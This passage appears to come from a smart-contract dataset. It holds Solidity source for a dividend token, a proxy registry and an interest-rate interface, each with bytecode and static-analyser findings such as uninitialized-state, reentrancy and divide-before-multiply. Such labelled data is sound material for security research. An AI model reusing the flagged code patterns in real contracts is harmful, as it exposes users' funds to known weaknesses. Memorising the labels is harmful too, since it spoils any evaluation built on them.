emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x608060405260043610610111576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265318b1461011f57806306fdde031461017657806310d0ffdd1461020657806318160ddd146102475780632260937314610272578063313ce567146102b35780633ccfd60b146102e45780634b750334146102fb57806356d399e814610326578063688abbf7146103515780636b2f46321461039457806370a08231146103bf5780638620410b14610416578063949e8acd1461044157806395d89b411461046c578063a9059cbb146104fc578063e4849b3214610561578063e9fad8ee1461058e578063f088d547146105a5578063fdb5a03e146105ef575b61011c346000610606565b50005b34801561012b57600080fd5b50610160600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f4565b6040518082815260200191505060405180910390f35b34801561018257600080fd5b5061018b610a96565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101cb5780820151818401526020810190506101b0565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021257600080fd5b5061023160048036038101908080359060200190929190505050610b34565b6040518082815260200191505060405180910390f35b34801561025357600080fd5b5061025c610b76565b6040518082815260200191505060405180910390f35b34801561027e57600080fd5b5061029d60048036038101908080359060200190929190505050610b80565b6040518082815260200191505060405180910390f35b3480156102bf57600080fd5b506102c8610bd3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f057600080fd5b506102f9610bd8565b005b34801561030757600080fd5b50610310610d7c565b6040518082815260200191505060405180910390f35b34801561033257600080fd5b5061033b610de4565b6040518082815260200191505060405180910390f35b34801561035d57600080fd5b5061037e600480360381019080803515159060200190929190505050610dea565b6040518082815260200191505060405180910390f35b3480156103a057600080fd5b506103a9610e56565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b50610400600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e75565b6040518082815260200191505060405180910390f35b34801561042257600080fd5b5061042b610ebe565b6040518082815260200191505060405180910390f35b34801561044d57600080fd5b50610456610f26565b6040518082815260200191505060405180910390f35b34801561047857600080fd5b50610481610f3b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c15780820151818401526020810190506104a6565b50505050905090810190601f1680156104ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050857600080fd5b50610547600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fd9565b604051808215151515815260200191505060405180910390f35b34801561056d57600080fd5b5061058c600480360381019080803590602001909291905050506112fc565b005b34801561059a57600080fd5b506105a361154b565b005b6105d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b2565b6040518082815260200191505060405180910390f35b3480156105fb57600080fd5b506106046115c4565b005b600080600080600080600080600033975061062f6106288c600860ff16611738565b6064611773565b965061064961064288601e60ff16611738565b6064611773565b9550610655878761178e565b94506106618b8861178e565b935061066c846117a7565b92506801000000000000000085029150600083118015610698575060065461069684600654611834565b115b15156106a357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff161415801561070c57508773ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614155b80156107595750600254600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156107ef576107a7600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487611834565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061080a565b6107f98587611834565b945068010000000000000000850291505b600060065411156108755761082160065484611834565b60068190555060065468010000000000000000860281151561083f57fe5b0460076000828254019250508190555060065468010000000000000000860281151561086757fe5b04830282038203915061087d565b826006819055505b6108c6600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611834565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836007540203905080600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508973ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426109b9610ebe565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a3829850505050505050505092915050565b600068010000000000000000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007540203811515610a8e57fe5b049050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b2c5780601f10610b0157610100808354040283529160200191610b2c565b820191906000526020600020905b815481529060010190602001808311610b0f57829003601f168201915b505050505081565b600080600080610b52610b4b86600860ff16611738565b6064611773565b9250610b5e858461178e565b9150610b69826117a7565b9050809350505050919050565b6000600654905090565b6000806000806006548511151515610b9757600080fd5b610ba085611852565b9250610bba610bb384600360ff16611738565b6064611773565b9150610bc6838361178e565b9050809350505050919050565b601281565b6000806000610be76001610dea565b111515610bf357600080fd5b339150610c006000610dea565b9050680100000000000000008102600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054810190506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d29573d6000803e3d6000fd5b508173ffffffffffffffffffffffffffffffffffffffff167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc826040518082815260200191505060405180910390a25050565b60008060008060006006541415610da1576402540be40064174876e800039350610dde565b610db2670de0b6b3a7640000611852565b9250610dcc610dc584600360ff16611738565b6064611773565b9150610dd8838361178e565b90508093505b50505090565b60025481565b60008033905082610e0357610dfe816109f4565b610e4e565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e4c826109f4565b015b915050919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008060006006541415610ee3576402540be40064174876e800019350610f20565b610ef4670de0b6b3a7640000611852565b9250610f0e610f0784600860ff16611738565b6064611773565b9150610f1a8383611834565b90508093505b50505090565b600080339050610f3581610e75565b91505090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fd15780601f10610fa657610100808354040283529160200191610fd1565b820191906000526020600020905b815481529060010190602001808311610fb457829003601f168201915b505050505081565b600080600080600080610fea610f26565b111515610ff657600080fd5b339350600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054861115151561104757600080fd5b60006110536001610dea565b111561106257611061610bd8565b5b61107a61107387600160ff16611738565b6064611773565b9250611086868461178e565b915061109183611852565b905061109f6006548461178e565b6006819055506110ee600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548761178e565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117a600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611834565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560075402600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508160075402600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555061128360075460065468010000000000000000840281151561127d57fe5b04611834565b6007819055508673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b600080600080600080600061130f610f26565b11151561131b57600080fd5b339550600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054871115151561136c57600080fd5b86945061137885611852565b935061139261138b85600360ff16611738565b6064611773565b925061139e848461178e565b91506113ac6006548661178e565b6006819055506113fb600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548661178e565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550680100000000000000008202856007540201905080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600060065411156114d5576114ce6007546006546801000000000000000086028115156114c857fe5b04611834565b6007819055505b8573ffffffffffffffffffffffffffffffffffffffff167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442611518610ebe565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a250505050505050565b600080339150600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156115a6576115a5816112fc565b5b6115ae610bd8565b5050565b60006115be3483610606565b50919050565b6000806000806115d46001610dea565b1115156115e057600080fd5b6115ea6000610dea565b9250339150680100000000000000008302600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054830192506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116db836000610606565b90508173ffffffffffffffffffffffffffffffffffffffff167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080600084141561174d576000915061176c565b828402905082848281151561175e57fe5b0414151561176857fe5b8091505b5092915050565b600080828481151561178157fe5b0490508091505092915050565b600082821115151561179c57fe5b818303905092915050565b6000806000670de0b6b3a764000064174876e8000291506006546402540be40061181d611817600654866402540be400600202020260026006540a60026402540be4000a02670de0b6b3a76400008a02670de0b6b3a76400006402540be40002600202026002890a0101016118fd565b8561178e565b81151561182657fe5b040390508092505050919050565b600080828401905083811015151561184857fe5b8091505092915050565b600080600080670de0b6b3a764000085019250670de0b6b3a7640000600654019150670de0b6b3a76400006118e6670de0b6b3a764000085036402540be400670de0b6b3a7640000868115156118a457fe5b046402540be4000264174876e8000103026002670de0b6b3a7640000876002890a038115156118cf57fe5b046402540be400028115156118e057fe5b0461178e565b8115156118ef57fe5b049050809350505050919050565b60008060026001840181151561190f57fe5b0490508291505b8181101561194257809150600281828581151561192f57fe5b040181151561193a57fe5b049050611916565b509190505600a165627a7a7230582089ef9358d14b64fcb70c14d058bfcb5c3291d973059f12e9a69c37ae4168438b0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,087 |
0x8a59fba166ac5fa8552bc388e4574bbdf9260f57
|
/***
* ██████╗ ███████╗ ██████╗ ██████╗
* ██╔══██╗██╔════╝██╔════╝ ██╔═══██╗
* ██║ ██║█████╗ ██║ ███╗██║ ██║
* ██║ ██║██╔══╝ ██║ ██║██║ ██║
* ██████╔╝███████╗╚██████╔╝╚██████╔╝
* ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝
*
* https://dego.finance
* MIT License
* ===========
*
* Copyright (c) 2020 dego
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.4.13;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract TokenRecipient {
event ReceivedEther(address indexed sender, uint amount);
event ReceivedTokens(address indexed from, uint256 value, address indexed token, bytes extraData);
/**
* @dev Receive tokens and generate a log event
* @param from Address from which to transfer tokens
* @param value Amount of tokens to transfer
* @param token Address of token
* @param extraData Additional data to log
*/
function receiveApproval(address from, uint256 value, address token, bytes extraData) public {
ERC20 t = ERC20(token);
require(t.transferFrom(from, this, value));
emit ReceivedTokens(from, value, token, extraData);
}
/**
* @dev Receive Ether and generate a log event
*/
function () payable public {
emit ReceivedEther(msg.sender, msg.value);
}
}
contract ProxyRegistry is Ownable {
/* DelegateProxy implementation contract. Must be initialized. */
address public delegateProxyImplementation;
/* Authenticated proxies by user. */
mapping(address => OwnableDelegateProxy) public proxies;
/* Contracts pending access. */
mapping(address => uint) public pending;
/* Contracts allowed to call those proxies. */
mapping(address => bool) public contracts;
/* Delay period for adding an authenticated contract.
This mitigates a particular class of potential attack on the TreasureLand DAO (which owns this registry) - if at any point the value of assets held by proxy contracts exceeded the value of half the TreasureLand supply (votes in the offline DAO),
a malicious but rational attacker could buy half the TreasureLand and grant themselves access to all the proxy contracts. A delay period renders this attack nonthreatening - given two weeks, if that happened, users would have
plenty of time to notice and transfer their assets.
*/
uint public DELAY_PERIOD = 2 weeks;
/**
* Start the process to enable access for specified contract. Subject to delay period.
*
* @dev ProxyRegistry owner only
* @param addr Address to which to grant permissions
*/
function startGrantAuthentication (address addr)
public
onlyOwner
{
require(!contracts[addr] && pending[addr] == 0);
pending[addr] = now;
}
/**
* End the process to nable access for specified contract after delay period has passed.
*
* @dev ProxyRegistry owner only
* @param addr Address to which to grant permissions
*/
function endGrantAuthentication (address addr)
public
onlyOwner
{
require(!contracts[addr] && pending[addr] != 0 && ((pending[addr] + DELAY_PERIOD) < now));
pending[addr] = 0;
contracts[addr] = true;
}
/**
* Revoke access for specified contract. Can be done instantly.
*
* @dev ProxyRegistry owner only
* @param addr Address of which to revoke permissions
*/
function revokeAuthentication (address addr)
public
onlyOwner
{
contracts[addr] = false;
}
/**
* Register a proxy contract with this registry
*
* @dev Must be called by the user which the proxy is for, creates a new AuthenticatedProxy
* @return New AuthenticatedProxy contract
*/
function registerProxy()
public
returns (OwnableDelegateProxy proxy)
{
require(proxies[msg.sender] == address(0));
proxy = new OwnableDelegateProxy(msg.sender, delegateProxyImplementation, abi.encodeWithSignature("initialize(address,address)", msg.sender, address(this)));
proxies[msg.sender] = proxy;
return proxy;
}
}
contract TokenTransferProxy {
/* Authentication registry. */
ProxyRegistry public registry;
/**
* Call ERC20 `transferFrom`
*
* @dev Authenticated contract only
* @param token ERC20 token address
* @param from From address
* @param to To address
* @param amount Transfer amount
*/
function transferFrom(address token, address from, address to, uint amount)
public
returns (bool)
{
require(registry.contracts(msg.sender));
return ERC20(token).transferFrom(from, to, amount);
}
}
contract TreasureLandTokenTransferProxy is TokenTransferProxy {
constructor (ProxyRegistry registryAddr)
public
{
registry = registryAddr;
}
}
contract OwnedUpgradeabilityStorage {
// Current implementation
address internal _implementation;
// Owner of the contract
address private _upgradeabilityOwner;
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function upgradeabilityOwner() public view returns (address) {
return _upgradeabilityOwner;
}
/**
* @dev Sets the address of the owner
*/
function setUpgradeabilityOwner(address newUpgradeabilityOwner) internal {
_upgradeabilityOwner = newUpgradeabilityOwner;
}
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address) {
return _implementation;
}
/**
* @dev Tells the proxy type (EIP 897)
* @return Proxy type, 2 for forwarding proxy
*/
function proxyType() public pure returns (uint256 proxyTypeId) {
return 2;
}
}
contract AuthenticatedProxy is TokenRecipient, OwnedUpgradeabilityStorage {
/* Whether initialized. */
bool initialized = false;
/* Address which owns this proxy. */
address public user;
/* Associated registry with contract authentication information. */
ProxyRegistry public registry;
/* Whether access has been revoked. */
bool public revoked;
/* Delegate call could be used to atomically transfer multiple assets owned by the proxy contract with one order. */
enum HowToCall { Call, DelegateCall }
/* Event fired when the proxy access is revoked or unrevoked. */
event Revoked(bool revoked);
/**
* Initialize an AuthenticatedProxy
*
* @param addrUser Address of user on whose behalf this proxy will act
* @param addrRegistry Address of ProxyRegistry contract which will manage this proxy
*/
function initialize (address addrUser, ProxyRegistry addrRegistry)
public
{
require(!initialized);
initialized = true;
user = addrUser;
registry = addrRegistry;
}
/**
* Set the revoked flag (allows a user to revoke ProxyRegistry access)
*
* @dev Can be called by the user only
* @param revoke Whether or not to revoke access
*/
function setRevoke(bool revoke)
public
{
require(msg.sender == user);
revoked = revoke;
emit Revoked(revoke);
}
/**
* Execute a message call from the proxy contract
*
* @dev Can be called by the user, or by a contract authorized by the registry as long as the user has not revoked access
* @param dest Address to which the call will be sent
* @param howToCall Which kind of call to make
* @param calldata Calldata to send
* @return Result of the call (success or failure)
*/
function proxy(address dest, HowToCall howToCall, bytes calldata)
public
returns (bool result)
{
require(msg.sender == user || (!revoked && registry.contracts(msg.sender)));
if (howToCall == HowToCall.Call) {
result = dest.call(calldata);
} else if (howToCall == HowToCall.DelegateCall) {
result = dest.delegatecall(calldata);
}
return result;
}
/**
* Execute a message call and assert success
*
* @dev Same functionality as `proxy`, just asserts the return value
* @param dest Address to which the call will be sent
* @param howToCall What kind of call to make
* @param calldata Calldata to send
*/
function proxyAssert(address dest, HowToCall howToCall, bytes calldata)
public
{
require(proxy(dest, howToCall, calldata));
}
}
contract Proxy {
/**
* @dev Tells the address of the implementation where every call will be delegated.
* @return address of the implementation to which it will be delegated
*/
function implementation() public view returns (address);
/**
* @dev Tells the type of proxy (EIP 897)
* @return Type of proxy, 2 for upgradeable proxy
*/
function proxyType() public pure returns (uint256 proxyTypeId);
/**
* @dev Fallback function allowing to perform a delegatecall to the given implementation.
* This function will return whatever the implementation call returns
*/
function () payable public {
address _impl = implementation();
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
contract OwnedUpgradeabilityProxy is Proxy, OwnedUpgradeabilityStorage {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
/**
* @dev This event will be emitted every time the implementation gets upgraded
* @param implementation representing the address of the upgraded implementation
*/
event Upgraded(address indexed implementation);
/**
* @dev Upgrades the implementation address
* @param implementation representing the address of the new implementation to be set
*/
function _upgradeTo(address implementation) internal {
require(_implementation != implementation);
_implementation = implementation;
emit Upgraded(implementation);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner());
_;
}
/**
* @dev Tells the address of the proxy owner
* @return the address of the proxy owner
*/
function proxyOwner() public view returns (address) {
return upgradeabilityOwner();
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferProxyOwnership(address newOwner) public onlyProxyOwner {
require(newOwner != address(0));
emit ProxyOwnershipTransferred(proxyOwner(), newOwner);
setUpgradeabilityOwner(newOwner);
}
/**
* @dev Allows the upgradeability owner to upgrade the current implementation of the proxy.
* @param implementation representing the address of the new implementation to be set.
*/
function upgradeTo(address implementation) public onlyProxyOwner {
_upgradeTo(implementation);
}
/**
* @dev Allows the upgradeability owner to upgrade the current implementation of the proxy
* and delegatecall the new implementation for initialization.
* @param implementation representing the address of the new implementation to be set.
* @param data represents the msg.data to bet sent in the low level call. This parameter may include the function
* signature of the implementation to be called with the needed payload
*/
function upgradeToAndCall(address implementation, bytes data) payable public onlyProxyOwner {
upgradeTo(implementation);
require(address(this).delegatecall(data));
}
}
contract OwnableDelegateProxy is OwnedUpgradeabilityProxy {
constructor(address owner, address initialImplementation, bytes calldata)
public
{
setUpgradeabilityOwner(owner);
_upgradeTo(initialImplementation);
require(initialImplementation.delegatecall(calldata));
}
}
|
0x60806040526004361061004b5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166315dacbea81146100505780637b103999146100a1575b600080fd5b34801561005c57600080fd5b5061008d73ffffffffffffffffffffffffffffffffffffffff600435811690602435811690604435166064356100df565b604080519115158252519081900360200190f35b3480156100ad57600080fd5b506100b661023f565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b60008054604080517f69dc9ff3000000000000000000000000000000000000000000000000000000008152336004820152905173ffffffffffffffffffffffffffffffffffffffff909216916369dc9ff39160248082019260209290919082900301818787803b15801561015257600080fd5b505af1158015610166573d6000803e3d6000fd5b505050506040513d602081101561017c57600080fd5b5051151561018957600080fd5b604080517f23b872dd00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff86811660048301528581166024830152604482018590529151918716916323b872dd916064808201926020929091908290030181600087803b15801561020a57600080fd5b505af115801561021e573d6000803e3d6000fd5b505050506040513d602081101561023457600080fd5b505195945050505050565b60005473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a72305820bbf7907892db6db06ce3368eb9af46373ee644c2e3630bda8ebe91e18c92718a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,088 |
0xE24E4Ba45bDD013ac3180e404a8CFbbbAa2B4DB2
|
pragma solidity ^0.5.16;
/**
* @title Strike's InterestRateModel Interface
* @author Strike
*/
contract InterestRateModel {
/// @notice Indicator that this is an InterestRateModel contract (for inspection)
bool public constant isInterestRateModel = true;
/**
* @notice Calculates the current borrow interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @return The borrow rate per block (as a percentage, and scaled by 1e18)
*/
